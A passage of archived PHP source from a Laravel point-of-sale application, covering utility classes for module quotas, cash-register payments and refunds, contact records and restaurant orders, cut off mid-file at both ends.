$type * @param int $business_id * @param string $redirect_url = null * @return \Illuminate\Http\Response */ public function quotaExpiredResponse($type, $business_id, $redirect_url = null) { if ($type == 'locations') { if (request()->ajax()) { if (request()->wantsJson()) { $response_array = ['success' => 0, 'msg' => __('superadmin::lang.max_locations'), ]; return $response_array; } else { return view('superadmin::subscription.max_location_modal'); } } } elseif ($type == 'users') { $response_array = ['success' => 0, 'msg' => __('superadmin::lang.max_users'), ]; return redirect($redirect_url) ->with('status', $response_array); } elseif ($type == 'products') { $response_array = ['success' => 0, 'msg' => __('superadmin::lang.max_products'), ]; return redirect($redirect_url) ->with('status', $response_array); } elseif ($type == 'invoices') { $response_array = ['success' => 0, 'msg' => __('superadmin::lang.max_invoices'), ]; if (request()->wantsJson()) { return $response_array; } else { return redirect($redirect_url) ->with('status', $response_array); } } } public function accountsDropdown($business_id, $prepend_none = false, $closed = false, $show_balance = false) { $dropdown = []; if ($this->isModuleEnabled('account')) { $dropdown = Account::forDropdown($business_id, $prepend_none, $closed, $show_balance); } return $dropdown; } /** * This function returns the extra form fields in array format * required by any module which will be included during adding * or updating a resource * * @param string $function_name function name to be called to get data from * @return array */ public function getModuleFormField($function_name) { $form_fields = []; $module_form_fields = $this->getModuleData($function_name); if (! empty($module_form_fields)) { foreach ($module_form_fields as $key => $value) { if (! empty($value) && is_array($value)) { $form_fields = array_merge($form_fields, $value); } } } return $form_fields; } public function getApiSettings($api_token) { $settings = \Modules\Ecommerce\Entities\EcomApiSetting::where('api_token', $api_token) ->first(); return $settings; } /** * This function returns the installed version, available version * and uses comparator to check if update is available or not. * * @param string $module_name (Exact module name, with first letter capital) * @return array */ public function getModuleVersionInfo($module_name) { $output = ['installed_version' => null, 'available_version' => null, 'is_update_available' => null, ]; $is_available = Module::has($module_name); if ($is_available) { //Check if installed by checking the system table {module_name}_version $module_version = System::getProperty(strtolower($module_name).'_version'); $output['installed_version'] = $module_version; $output['available_version'] = config(strtolower($module_name).'.module_version'); $output['is_update_available'] = Comparator::greaterThan($output['available_version'], $output['installed_version']); } return $output; } public function availableModules() { return [ 'purchases' => ['name' => __('purchase.purchases')], 'add_sale' => ['name' => __('sale.add_sale')], 'pos_sale' => ['name' => __('sale.pos_sale')], 'stock_transfers' => ['name' => __('lang_v1.stock_transfers')], 'stock_adjustment' => ['name' => __('stock_adjustment.stock_adjustment')], 'expenses' => ['name' => __('expense.expenses')], 'account' => ['name' => __('lang_v1.account')], 'tables' => ['name' => __('restaurant.tables'), 'tooltip' => __('restaurant.tooltip_tables'), ], 'modifiers' => ['name' => __('restaurant.modifiers'), 'tooltip' => __('restaurant.tooltip_modifiers'), ], 'service_staff' => [ 'name' => __('restaurant.service_staff'), 'tooltip' => __('restaurant.tooltip_service_staff'), ], 'booking' => ['name' => __('lang_v1.enable_booking')], 'kitchen' => [ 'name' => __('restaurant.kitchen_for_restaurant'), ], 'subscription' => ['name' => __('lang_v1.enable_subscription')], 'types_of_service' => ['name' => __('lang_v1.types_of_service'), 'tooltip' => __('lang_v1.types_of_service_help_long'), ], ]; } /** * Validate module category types and * return module category data if validates * * @param string $category_type * @return array */ public function getTaxonomyData($category_type) { $category_types = ['product']; $modules_data = $this->getModuleData('addTaxonomies'); // print_r($modules_data); // exit; $module_data = []; foreach ($modules_data as $module => $data) { foreach ($data as $key => $value) { //key is category type //check if category type is duplicate if (! in_array($key, $category_types)) { $category_types[] = $key; } else { echo __('lang_v1.duplicate_taxonomy_type_found'); exit; } if ($category_type == $key) { $module_data = $value; } } } if (! in_array($category_type, $category_types)) { echo __('lang_v1.taxonomy_type_not_found'); exit; } return $module_data; } } Utils/CashRegisterUtil.php 0000644 00000054650 15001146510 0011601 0 ustar 00 <?php namespace App\Utils; use App\CashRegister; use App\CashRegisterTransaction; use App\Transaction; use DB; class CashRegisterUtil extends Util { /** * Returns number of opened Cash Registers for the * current logged in user * * @return int */ public function countOpenedRegister() { $user_id = auth()->user()->id; $count = CashRegister::where('user_id', $user_id) ->where('status', 'open') ->count(); return $count; } /** * Adds sell payments to currently opened cash register * * @param object/int $transaction * @param array $payments * @return bool */ public function addSellPayments($transaction, $payments) { $user_id = auth()->user()->id; $register = CashRegister::where('user_id', $user_id) ->where('status', 'open') ->first(); $payments_formatted = []; foreach ($payments as $payment) { $payment_amount = (isset($payment['is_return']) && $payment['is_return'] == 1) ? (-1 * $this->num_uf($payment['amount'])) : $this->num_uf($payment['amount']); if ($payment_amount != 0) { $type = 'credit'; if ($transaction->type == 'expense') { $type = 'debit'; } $payments_formatted[] = new CashRegisterTransaction([ 'amount' => $payment_amount, 'pay_method' => $payment['method'], 'type' => $type, 'transaction_type' => $transaction->type, 'transaction_id' => $transaction->id, ]); } } if (! empty($payments_formatted)) { $register->cash_register_transactions()->saveMany($payments_formatted); } return true; } /** * Adds sell payments to currently opened cash register * * @param object/int $transaction * @param array $payments * @return bool */ public function updateSellPayments($status_before, $transaction, $payments) { $user_id = auth()->user()->id; $register = CashRegister::where('user_id', $user_id) ->where('status', 'open') ->first(); //If draft -> final then add all //If final -> draft then refund all //If final -> final then update payments if ($status_before == 'draft' && $transaction->status == 'final') { $this->addSellPayments($transaction, $payments); } elseif ($status_before == 'final' && $transaction->status == 'draft') { $this->refundSell($transaction); } elseif ($status_before == 'final' && $transaction->status == 'final') { $prev_payments = CashRegisterTransaction::where('transaction_id', $transaction->id) ->select( DB::raw("SUM(IF(pay_method='cash', IF(type='credit', amount, -1 * amount), 0)) as total_cash"), DB::raw("SUM(IF(pay_method='card', IF(type='credit', amount, -1 * amount), 0)) as total_card"), DB::raw("SUM(IF(pay_method='cheque', IF(type='credit', amount, -1 * amount), 0)) as total_cheque"), DB::raw("SUM(IF(pay_method='bank_transfer', IF(type='credit', amount, -1 * amount), 0)) as total_bank_transfer"), DB::raw("SUM(IF(pay_method='other', IF(type='credit', amount, -1 * amount), 0)) as total_other"), DB::raw("SUM(IF(pay_method='custom_pay_1', IF(type='credit', amount, -1 * amount), 0)) as total_custom_pay_1"), DB::raw("SUM(IF(pay_method='custom_pay_2', IF(type='credit', amount, -1 * amount), 0)) as total_custom_pay_2"), DB::raw("SUM(IF(pay_method='custom_pay_3', IF(type='credit', amount, -1 * amount), 0)) as total_custom_pay_3"), DB::raw("SUM(IF(pay_method='custom_pay_4', IF(type='credit', amount, -1 * amount), 0)) as total_custom_pay_4"), DB::raw("SUM(IF(pay_method='custom_pay_5', IF(type='credit', amount, -1 * amount), 0)) as total_custom_pay_5"), DB::raw("SUM(IF(pay_method='custom_pay_6', IF(type='credit', amount, -1 * amount), 0)) as total_custom_pay_6"), DB::raw("SUM(IF(pay_method='custom_pay_7', IF(type='credit', amount, -1 * amount), 0)) as total_custom_pay_7"), DB::raw("SUM(IF(pay_method='advance', IF(type='credit', amount, -1 * amount), 0)) as total_advance") )->first(); if (! empty($prev_payments)) { $payment_diffs = [ 'cash' => $prev_payments->total_cash, 'card' => $prev_payments->total_card, 'cheque' => $prev_payments->total_cheque, 'bank_transfer' => $prev_payments->total_bank_transfer, 'other' => $prev_payments->total_other, 'custom_pay_1' => $prev_payments->total_custom_pay_1, 'custom_pay_2' => $prev_payments->total_custom_pay_2, 'custom_pay_3' => $prev_payments->total_custom_pay_3, 'custom_pay_4' => $prev_payments->total_custom_pay_4, 'custom_pay_5' => $prev_payments->total_custom_pay_5, 'custom_pay_6' => $prev_payments->total_custom_pay_6, 'custom_pay_7' => $prev_payments->total_custom_pay_7, 'advance' => $prev_payments->total_advance, ]; foreach ($payments as $payment) { if (isset($payment['is_return']) && $payment['is_return'] == 1) { $payment_diffs[$payment['method']] += $this->num_uf($payment['amount']); } else { $payment_diffs[$payment['method']] -= $this->num_uf($payment['amount']); } } $payments_formatted = []; foreach ($payment_diffs as $key => $value) { if ($value > 0) { $payments_formatted[] = new CashRegisterTransaction([ 'amount' => $value, 'pay_method' => $key, 'type' => 'debit', 'transaction_type' => 'refund', 'transaction_id' => $transaction->id, ]); } elseif ($value < 0) { $payments_formatted[] = new CashRegisterTransaction([ 'amount' => -1 * $value, 'pay_method' => $key, 'type' => 'credit', 'transaction_type' => 'sell', 'transaction_id' => $transaction->id, ]); } } if (! empty($payments_formatted)) { $register->cash_register_transactions()->saveMany($payments_formatted); } } } return true; } /** * Refunds all payments of a sell * * @param object/int $transaction * @return bool */ public function refundSell($transaction) { $user_id = auth()->user()->id; $register = CashRegister::where('user_id', $user_id) ->where('status', 'open') ->first(); $total_payment = CashRegisterTransaction::where('transaction_id', $transaction->id) ->select( DB::raw("SUM(IF(pay_method='cash', IF(type='credit', amount, -1 * amount), 0)) as total_cash"), DB::raw("SUM(IF(pay_method='card', IF(type='credit', amount, -1 * amount), 0)) as total_card"), DB::raw("SUM(IF(pay_method='cheque', IF(type='credit', amount, -1 * amount), 0)) as total_cheque"), DB::raw("SUM(IF(pay_method='bank_transfer', IF(type='credit', amount, -1 * amount), 0)) as total_bank_transfer"), DB::raw("SUM(IF(pay_method='other', IF(type='credit', amount, -1 * amount), 0)) as total_other"), DB::raw("SUM(IF(pay_method='custom_pay_1', IF(type='credit', amount, -1 * amount), 0)) as total_custom_pay_1"), DB::raw("SUM(IF(pay_method='custom_pay_2', IF(type='credit', amount, -1 * amount), 0)) as total_custom_pay_2"), DB::raw("SUM(IF(pay_method='custom_pay_3', IF(type='credit', amount, -1 * amount), 0)) as total_custom_pay_3"), DB::raw("SUM(IF(pay_method='custom_pay_4', IF(type='credit', amount, -1 * amount), 0)) as total_custom_pay_4"), DB::raw("SUM(IF(pay_method='custom_pay_5', IF(type='credit', amount, -1 * amount), 0)) as total_custom_pay_5"), DB::raw("SUM(IF(pay_method='custom_pay_6', IF(type='credit', amount, -1 * amount), 0)) as total_custom_pay_6"), DB::raw("SUM(IF(pay_method='custom_pay_7', IF(type='credit', amount, -1 * amount), 0)) as total_custom_pay_7") )->first(); $refunds = [ 'cash' => $total_payment->total_cash, 'card' => $total_payment->total_card, 'cheque' => $total_payment->total_cheque, 'bank_transfer' => $total_payment->total_bank_transfer, 'other' => $total_payment->total_other, 'custom_pay_1' => $total_payment->total_custom_pay_1, 'custom_pay_2' => $total_payment->total_custom_pay_2, 'custom_pay_3' => $total_payment->total_custom_pay_3, 'custom_pay_4' => $total_payment->total_custom_pay_4, 'custom_pay_5' => $total_payment->total_custom_pay_5, 'custom_pay_6' => $total_payment->total_custom_pay_6, 'custom_pay_7' => $total_payment->total_custom_pay_7, ]; $refund_formatted = []; foreach ($refunds as $key => $val) { if ($val > 0) { $refund_formatted[] = new CashRegisterTransaction([ 'amount' => $val, 'pay_method' => $key, 'type' => 'debit', 'transaction_type' => 'refund', 'transaction_id' => $transaction->id, ]); } } if (! empty($refund_formatted)) { $register->cash_register_transactions()->saveMany($refund_formatted); } return true; } /** * Retrieves details of given rigister id else currently opened register * * @param $register_id default null * @return object */ public function getRegisterDetails($register_id = null) { $query = CashRegister::leftjoin( 'cash_register_transactions as ct', 'ct.cash_register_id', '=', 'cash_registers.id' ) ->join( 'users as u', 'u.id', '=', 'cash_registers.user_id' ) ->leftJoin( 'business_locations as bl', 'bl.id', '=', 'cash_registers.location_id' ); if (empty($register_id)) { $user_id = auth()->user()->id; $query->where('user_id', $user_id) ->where('cash_registers.status', 'open'); } else { $query->where('cash_registers.id', $register_id); } $register_details = $query->select( 'cash_registers.created_at as open_time', 'cash_registers.closed_at as closed_at', 'cash_registers.user_id', 'cash_registers.closing_note', 'cash_registers.location_id', 'cash_registers.denominations', DB::raw("SUM(IF(transaction_type='initial', amount, 0)) as cash_in_hand"), DB::raw("SUM(IF(transaction_type='sell', amount, IF(transaction_type='refund', -1 * amount, 0))) as total_sale"), DB::raw("SUM(IF(transaction_type='expense', IF(transaction_type='refund', -1 * amount, amount), 0)) as total_expense"), DB::raw("SUM(IF(pay_method='cash', IF(transaction_type='sell', amount, 0), 0)) as total_cash"), DB::raw("SUM(IF(pay_method='cash', IF(transaction_type='expense', amount, 0), 0)) as total_cash_expense"), DB::raw("SUM(IF(pay_method='cheque', IF(transaction_type='sell', amount, 0), 0)) as total_cheque"), DB::raw("SUM(IF(pay_method='cheque', IF(transaction_type='expense', amount, 0), 0)) as total_cheque_expense"), DB::raw("SUM(IF(pay_method='card', IF(transaction_type='sell', amount, 0), 0)) as total_card"), DB::raw("SUM(IF(pay_method='card', IF(transaction_type='expense', amount, 0), 0)) as total_card_expense"), DB::raw("SUM(IF(pay_method='bank_transfer', IF(transaction_type='sell', amount, 0), 0)) as total_bank_transfer"), DB::raw("SUM(IF(pay_method='bank_transfer', IF(transaction_type='expense', amount, 0), 0)) as total_bank_transfer_expense"), DB::raw("SUM(IF(pay_method='other', IF(transaction_type='sell', amount, 0), 0)) as total_other"), DB::raw("SUM(IF(pay_method='other', IF(transaction_type='expense', amount, 0), 0)) as total_other_expense"), DB::raw("SUM(IF(pay_method='advance', IF(transaction_type='sell', amount, 0), 0)) as total_advance"), DB::raw("SUM(IF(pay_method='advance', IF(transaction_type='expense', amount, 0), 0)) as total_advance_expense"), DB::raw("SUM(IF(pay_method='custom_pay_1', IF(transaction_type='sell', amount, 0), 0)) as total_custom_pay_1"), DB::raw("SUM(IF(pay_method='custom_pay_2', IF(transaction_type='sell', amount, 0), 0)) as total_custom_pay_2"), DB::raw("SUM(IF(pay_method='custom_pay_3', IF(transaction_type='sell', amount, 0), 0)) as total_custom_pay_3"), DB::raw("SUM(IF(pay_method='custom_pay_4', IF(transaction_type='sell', amount, 0), 0)) as total_custom_pay_4"), DB::raw("SUM(IF(pay_method='custom_pay_5', IF(transaction_type='sell', amount, 0), 0)) as total_custom_pay_5"), DB::raw("SUM(IF(pay_method='custom_pay_6', IF(transaction_type='sell', amount, 0), 0)) as total_custom_pay_6"), DB::raw("SUM(IF(pay_method='custom_pay_7', IF(transaction_type='sell', amount, 0), 0)) as total_custom_pay_7"), DB::raw("SUM(IF(pay_method='custom_pay_1', IF(transaction_type='expense', amount, 0), 0)) as total_custom_pay_1_expense"), DB::raw("SUM(IF(pay_method='custom_pay_2', IF(transaction_type='expense', amount, 0), 0)) as total_custom_pay_2_expense"), DB::raw("SUM(IF(pay_method='custom_pay_3', IF(transaction_type='expense', amount, 0), 0)) as total_custom_pay_3_expense"), DB::raw("SUM(IF(pay_method='custom_pay_4', IF(transaction_type='expense', amount, 0), 0)) as total_custom_pay_4_expense"), DB::raw("SUM(IF(pay_method='custom_pay_5', IF(transaction_type='expense', amount, 0), 0)) as total_custom_pay_5_expense"), DB::raw("SUM(IF(pay_method='custom_pay_6', IF(transaction_type='expense', amount, 0), 0)) as total_custom_pay_6_expense"), DB::raw("SUM(IF(pay_method='custom_pay_7', IF(transaction_type='expense', amount, 0), 0)) as total_custom_pay_7_expense"), DB::raw("SUM(IF(transaction_type='refund', amount, 0)) as total_refund"), DB::raw("SUM(IF(transaction_type='refund', IF(pay_method='cash', amount, 0), 0)) as total_cash_refund"), DB::raw("SUM(IF(transaction_type='refund', IF(pay_method='cheque', amount, 0), 0)) as total_cheque_refund"), DB::raw("SUM(IF(transaction_type='refund', IF(pay_method='card', amount, 0), 0)) as total_card_refund"), DB::raw("SUM(IF(transaction_type='refund', IF(pay_method='bank_transfer', amount, 0), 0)) as total_bank_transfer_refund"), DB::raw("SUM(IF(transaction_type='refund', IF(pay_method='other', amount, 0), 0)) as total_other_refund"), DB::raw("SUM(IF(transaction_type='refund', IF(pay_method='advance', amount, 0), 0)) as total_advance_refund"), DB::raw("SUM(IF(transaction_type='refund', IF(pay_method='custom_pay_1', amount, 0), 0)) as total_custom_pay_1_refund"), DB::raw("SUM(IF(transaction_type='refund', IF(pay_method='custom_pay_2', amount, 0), 0)) as total_custom_pay_2_refund"), DB::raw("SUM(IF(transaction_type='refund', IF(pay_method='custom_pay_3', amount, 0), 0)) as total_custom_pay_3_refund"), DB::raw("SUM(IF(transaction_type='refund', IF(pay_method='custom_pay_4', amount, 0), 0)) as total_custom_pay_4_refund"), DB::raw("SUM(IF(transaction_type='refund', IF(pay_method='custom_pay_5', amount, 0), 0)) as total_custom_pay_5_refund"), DB::raw("SUM(IF(transaction_type='refund', IF(pay_method='custom_pay_6', amount, 0), 0)) as total_custom_pay_6_refund"), DB::raw("SUM(IF(transaction_type='refund', IF(pay_method='custom_pay_7', amount, 0), 0)) as total_custom_pay_7_refund"), DB::raw("SUM(IF(pay_method='cheque', 1, 0)) as total_cheques"), DB::raw("SUM(IF(pay_method='card', 1, 0)) as total_card_slips"), DB::raw("CONCAT(COALESCE(surname, ''), ' ', COALESCE(first_name, ''), ' ', COALESCE(last_name, '')) as user_name"), 'u.email', 'bl.name as location_name' )->first(); return $register_details; } /** * Get the transaction details for a particular register * * @param $user_id int * @param $open_time datetime * @param $close_time datetime * @return array */ public function getRegisterTransactionDetails($user_id, $open_time, $close_time, $is_types_of_service_enabled = false) { $product_details_by_brand = Transaction::where('transactions.created_by', $user_id) ->whereBetween('transactions.created_at', [$open_time, $close_time]) ->where('transactions.type', 'sell') ->where('transactions.status', 'final') ->where('transactions.is_direct_sale', 0) ->join('transaction_sell_lines AS TSL', 'transactions.id', '=', 'TSL.transaction_id') ->join('products AS P', 'TSL.product_id', '=', 'P.id') ->where('TSL.children_type', '!=', 'combo') ->leftjoin('brands AS B', 'P.brand_id', '=', 'B.id') ->groupBy('B.id') ->select( 'B.name as brand_name', DB::raw('SUM(TSL.quantity) as total_quantity'), DB::raw('SUM(TSL.unit_price_inc_tax*TSL.quantity) as total_amount') ) ->orderByRaw('CASE WHEN brand_name IS NULL THEN 2 ELSE 1 END, brand_name') ->get(); $product_details = Transaction::where('transactions.created_by', $user_id) ->whereBetween('transactions.created_at', [$open_time, $close_time]) ->where('transactions.type', 'sell') ->where('transactions.status', 'final') ->where('transactions.is_direct_sale', 0) ->join('transaction_sell_lines AS TSL', 'transactions.id', '=', 'TSL.transaction_id') ->join('variations AS v', 'TSL.variation_id', '=', 'v.id') ->join('product_variations AS pv', 'v.product_variation_id', '=', 'pv.id') ->join('products AS p', 'v.product_id', '=', 'p.id') ->where('TSL.children_type', '!=', 'combo') ->groupBy('v.id') ->select( 'p.name as product_name', 'p.type as product_type', 'v.name as variation_name', 'pv.name as product_variation_name', 'v.sub_sku as sku', DB::raw('SUM(TSL.quantity) as total_quantity'), DB::raw('SUM(TSL.unit_price_inc_tax*TSL.quantity) as total_amount') ) ->get(); //If types of service $types_of_service_details = null; if ($is_types_of_service_enabled) { $types_of_service_details = Transaction::where('transactions.created_by', $user_id) ->whereBetween('transaction_date', [$open_time, $close_time]) ->where('transactions.is_direct_sale', 0) ->where('transactions.type', 'sell') ->where('transactions.status', 'final') ->leftjoin('types_of_services AS tos', 'tos.id', '=', 'transactions.types_of_service_id') ->groupBy('tos.id') ->select( 'tos.name as types_of_service_name', DB::raw('SUM(final_total) as total_sales') ) ->orderBy('total_sales', 'desc') ->get(); } $transaction_details = Transaction::where('transactions.created_by', $user_id) ->whereBetween('transactions.created_at', [$open_time, $close_time]) ->where('transactions.type', 'sell') ->where('transactions.is_direct_sale', 0) ->where('transactions.status', 'final') ->select( DB::raw('SUM(tax_amount) as total_tax'), DB::raw('SUM(IF(discount_type = "percentage", total_before_tax*discount_amount/100, discount_amount)) as total_discount'), DB::raw('SUM(final_total) as total_sales'), DB::raw('SUM(shipping_charges) as total_shipping_charges') ) ->first(); return ['product_details_by_brand' => $product_details_by_brand, 'transaction_details' => $transaction_details, 'types_of_service_details' => $types_of_service_details, 'product_details' => $product_details, ]; } /** * Retrieves the currently opened cash register for the user * * @param $int user_id * @return obj */ public function getCurrentCashRegister($user_id) { $register = CashRegister::where('user_id', $user_id) ->where('status', 'open') ->first(); return $register; } } Utils/ContactUtil.php 0000644 00000025171 15001146510 0010605 0 ustar 00 <?php namespace App\Utils; use App\Contact; use App\Transaction; use DB; class ContactUtil extends Util { /** * Returns Walk In Customer for a Business * * @param int $business_id * @return array/false */ public function getWalkInCustomer($business_id, $array = true) { $contact = Contact::whereIn('type', ['customer', 'both']) ->where('contacts.business_id', $business_id) ->where('contacts.is_default', 1) ->leftjoin('customer_groups as cg', 'cg.id', '=', 'contacts.customer_group_id') ->select('contacts.*', 'cg.amount as discount_percent', 'cg.price_calculation_type', 'cg.selling_price_group_id' ) ->first(); if (! empty($contact)) { $contact->contact_address = $contact->contact_address; $output = $array ? $contact->toArray() : $contact; return $output; } else { return null; } } /** * Returns the customer group * * @param int $business_id * @param int $customer_id * @return array */ public function getCustomerGroup($business_id, $customer_id) { $cg = []; if (empty($customer_id)) { return $cg; } $contact = Contact::leftjoin('customer_groups as CG', 'contacts.customer_group_id', 'CG.id') ->where('contacts.id', $customer_id) ->where('contacts.business_id', $business_id) ->select('CG.*') ->first(); return $contact; } /** * Returns the contact info * * @param int $business_id * @param int $contact_id * @return array */ public function getContactInfo($business_id, $contact_id) { $contact = Contact::where('contacts.id', $contact_id) ->where('contacts.business_id', $business_id) ->leftjoin('transactions AS t', 'contacts.id', '=', 't.contact_id') ->with(['business']) ->select( DB::raw("SUM(IF(t.type = 'purchase', final_total, 0)) as total_purchase"), DB::raw("SUM(IF(t.type = 'sell' AND t.status = 'final', final_total, 0)) as total_invoice"), DB::raw("SUM(IF(t.type = 'purchase', (SELECT SUM(amount) FROM transaction_payments WHERE transaction_payments.transaction_id=t.id), 0)) as purchase_paid"), DB::raw("SUM(IF(t.type = 'sell' AND t.status = 'final', (SELECT SUM(IF(is_return = 1,-1*amount,amount)) FROM transaction_payments WHERE transaction_payments.transaction_id=t.id), 0)) as invoice_received"), DB::raw("SUM(IF(t.type = 'opening_balance', final_total, 0)) as opening_balance"), DB::raw("SUM(IF(t.type = 'opening_balance', (SELECT SUM(amount) FROM transaction_payments WHERE transaction_payments.transaction_id=t.id), 0)) as opening_balance_paid"), 'contacts.*' )->first(); return $contact; } public function createNewContact($input) { //Check Contact id $count = 0; if (! empty($input['contact_id'])) { $count = Contact::where('business_id', $input['business_id']) ->where('contact_id', $input['contact_id']) ->count(); } if ($count == 0) { //Update reference count $ref_count = $this->setAndGetReferenceCount('contacts', $input['business_id']); if (empty($input['contact_id'])) { //Generate reference number $input['contact_id'] = $this->generateReferenceNumber('contacts', $ref_count, $input['business_id']); } $opening_balance = isset($input['opening_balance']) ? $input['opening_balance'] : 0; if (isset($input['opening_balance'])) { unset($input['opening_balance']); } //Assigned the user $assigned_to_users = []; if (! empty($input['assigned_to_users'])) { $assigned_to_users = $input['assigned_to_users']; unset($input['assigned_to_users']); } $contact = Contact::create($input); //Assigned the user if (! empty($assigned_to_users)) { $contact->userHavingAccess()->sync($assigned_to_users); } //Add opening balance if (! empty($opening_balance)) { $transactionUtil = new TransactionUtil(); $transactionUtil->createOpeningBalanceTransaction($contact->business_id, $contact->id, $opening_balance, $contact->created_by, false); } $output = ['success' => true, 'data' => $contact, 'msg' => __('contact.added_success'), ]; return $output; } else { throw new \Exception('Error Processing Request', 1); } } public function updateContact($input, $id, $business_id) { $count = 0; //Check Contact id if (! empty($input['contact_id'])) { $count = Contact::where('business_id', $business_id) ->where('contact_id', $input['contact_id']) ->where('id', '!=', $id) ->count(); } if ($count == 0) { //Get opening balance if exists $ob_transaction = Transaction::where('contact_id', $id) ->where('type', 'opening_balance') ->first(); $opening_balance = isset($input['opening_balance']) ? $input['opening_balance'] : 0; if (isset($input['opening_balance'])) { unset($input['opening_balance']); } //Assigned the user $assigned_to_users = []; if (! empty($input['assigned_to_users'])) { $assigned_to_users = $input['assigned_to_users']; unset($input['assigned_to_users']); } $contact = Contact::where('business_id', $business_id)->findOrFail($id); foreach ($input as $key => $value) { $contact->$key = $value; } $contact->save(); //Assigned the user if (! empty($assigned_to_users)) { $contact->userHavingAccess()->sync($assigned_to_users); } //Opening balance update $transactionUtil = new TransactionUtil(); if (! empty($ob_transaction)) { $opening_balance_paid = $transactionUtil->getTotalAmountPaid($ob_transaction->id); if (! empty($opening_balance_paid)) { $opening_balance += $opening_balance_paid; } $ob_transaction->final_total = $opening_balance; $ob_transaction->save(); //Update opening balance payment status $transactionUtil->updatePaymentStatus($ob_transaction->id, $ob_transaction->final_total); } else { //Add opening balance if (! empty($opening_balance)) { $transactionUtil->createOpeningBalanceTransaction($business_id, $contact->id, $opening_balance, $contact->created_by, false); } } $output = ['success' => true, 'msg' => __('contact.updated_success'), 'data' => $contact, ]; } else { throw new \Exception('Error Processing Request', 1); } return $output; } public function getContactQuery($business_id, $type, $contact_ids = []) { $query = Contact::leftjoin('transactions AS t', 'contacts.id', '=', 't.contact_id') ->leftjoin('customer_groups AS cg', 'contacts.customer_group_id', '=', 'cg.id') ->where('contacts.business_id', $business_id); if ($type == 'supplier') { $query->onlySuppliers(); } elseif ($type == 'customer') { $query->onlyCustomers(); } else { if (auth()->check() && ((! auth()->user()->can('customer.view') && auth()->user()->can('customer.view_own'))) || (! auth()->user()->can('supplier.view') && auth()->user()->can('supplier.view_own'))) { $query->onlyOwnContact(); } } if (! empty($contact_ids)) { $query->whereIn('contacts.id', $contact_ids); } $query->select([ 'contacts.*', 'cg.name as customer_group', DB::raw("SUM(IF(t.type = 'opening_balance', final_total, 0)) as opening_balance"), DB::raw("SUM(IF(t.type = 'opening_balance', (SELECT SUM(IF(is_return = 1,-1*amount,amount)) FROM transaction_payments WHERE transaction_payments.transaction_id=t.id), 0)) as opening_balance_paid"), DB::raw('MAX(DATE(transaction_date)) as max_transaction_date'), DB::raw("SUM(IF(t.type = 'ledger_discount', final_total, 0)) as total_ledger_discount"), 't.transaction_date', ]); if (in_array($type, ['supplier', 'both'])) { $query->addSelect([ DB::raw("SUM(IF(t.type = 'purchase', final_total, 0)) as total_purchase"), DB::raw("SUM(IF(t.type = 'purchase', (SELECT SUM(amount) FROM transaction_payments WHERE transaction_payments.transaction_id=t.id), 0)) as purchase_paid"), DB::raw("SUM(IF(t.type = 'purchase_return', final_total, 0)) as total_purchase_return"), DB::raw("SUM(IF(t.type = 'purchase_return', (SELECT SUM(amount) FROM transaction_payments WHERE transaction_payments.transaction_id=t.id), 0)) as purchase_return_paid"), ]); } if (in_array($type, ['customer', 'both'])) { $query->addSelect([ DB::raw("SUM(IF(t.type = 'sell' AND t.status = 'final', final_total, 0)) as total_invoice"), DB::raw("SUM(IF(t.type = 'sell' AND t.status = 'final', (SELECT SUM(IF(is_return = 1,-1*amount,amount)) FROM transaction_payments WHERE transaction_payments.transaction_id=t.id), 0)) as invoice_received"), DB::raw("SUM(IF(t.type = 'sell_return', final_total, 0)) as total_sell_return"), DB::raw("SUM(IF(t.type = 'sell_return', (SELECT SUM(amount) FROM transaction_payments WHERE transaction_payments.transaction_id=t.id), 0)) as sell_return_paid"), ]); } $query->groupBy('contacts.id'); return $query; } } Utils/RestaurantUtil.php 0000644 00000024503 15001146510 0011340 0 ustar 00 <?php namespace App\Utils; use App\Restaurant\Booking; use App\Transaction; use App\TransactionSellLine; use App\User; use Illuminate\Support\Facades\DB; use Spatie\Permission\Models\Role; class RestaurantUtil extends Util { /** * Retrieves all orders/sales * * @param int $business_id * @param array $filter * *For new orders order_status is 'received' * @return obj $orders */ public function getAllOrders($business_id, $filter = []) { $query = Transaction::leftJoin('contacts', 'transactions.contact_id', '=', 'contacts.id') ->leftjoin( 'business_locations AS bl', 'transactions.location_id', '=', 'bl.id' ) ->leftjoin( 'res_tables AS rt', 'transactions.res_table_id', '=', 'rt.id' ) ->where('transactions.business_id', $business_id) ->where('transactions.type', 'sell') ->where('transactions.status', 'final'); // ->where('transactions.res_order_status', '!=' ,'served'); if (empty($filter['order_status'])) { $query->where(function ($q) { $q->where('res_order_status', '!=', 'served') ->orWhereNull('res_order_status'); }); } //For new orders order_status is 'received' if (! empty($filter['order_status']) && $filter['order_status'] == 'received') { $query->whereNull('res_order_status'); } if (! empty($filter['line_order_status'])) { if ($filter['line_order_status'] == 'received') { $query->whereHas('sell_lines', function ($q) { $q->whereNull('res_line_order_status') ->orWhere('res_line_order_status', 'received'); }, '>=', 1); } if ($filter['line_order_status'] == 'cooked') { $query->whereHas('sell_lines', function ($q) { $q->where('res_line_order_status', '!=', 'cooked'); }, '=', 0); } if ($filter['line_order_status'] == 'served') { $query->whereHas('sell_lines', function ($q) { $q->where('res_line_order_status', '!=', 'served'); }, '=', 0); } } if (! empty($filter['waiter_id'])) { $query->where('transactions.res_waiter_id', $filter['waiter_id']); } // for kitchen order if (! empty($filter['is_kitchen_order']) && $filter['is_kitchen_order'] == 1) { $query->where('is_kitchen_order', 1); } $permitted_locations = auth()->user()->permitted_locations(); if ($permitted_locations != 'all') { $query->whereIn('transactions.location_id', $permitted_locations); } $orders = $query->select( 'transactions.*', 'contacts.name as customer_name', 'bl.name as business_location', 'rt.name as table_name' )->with(['sell_lines']) ->orderBy('created_at', 'desc') ->get(); return $orders; } public function service_staff_dropdown($business_id) { //Get all service staff roles $service_staff_roles = Role::where('business_id', $business_id) ->where('is_service_staff', 1) ->get() ->pluck('name') ->toArray(); $service_staff = []; //Get all users of service staff roles if (! empty($service_staff_roles)) { $service_staff = User::where('business_id', $business_id)->role($service_staff_roles)->get()->pluck('first_name', 'id'); } return $service_staff; } public function is_service_staff($user_id) { $is_service_staff = false; $user = User::find($user_id); if ($user->roles->first()->is_service_staff == 1) { $is_service_staff = true; } return $is_service_staff; } /** * Retrieves line orders/sales * * @param int $business_id * @param array $filter * *For new orders order_status is 'received' * @return obj $orders */ public function getLineOrders($business_id, $filter = []) { $query = TransactionSellLine::with(['modifiers', 'modifiers.product', 'modifiers.variations']) ->leftJoin('transactions as t', 't.id', '=', 'transaction_sell_lines.transaction_id') ->leftJoin('contacts as c', 't.contact_id', '=', 'c.id') ->leftJoin('variations as v', 'transaction_sell_lines.variation_id', '=', 'v.id') ->leftJoin('products as p', 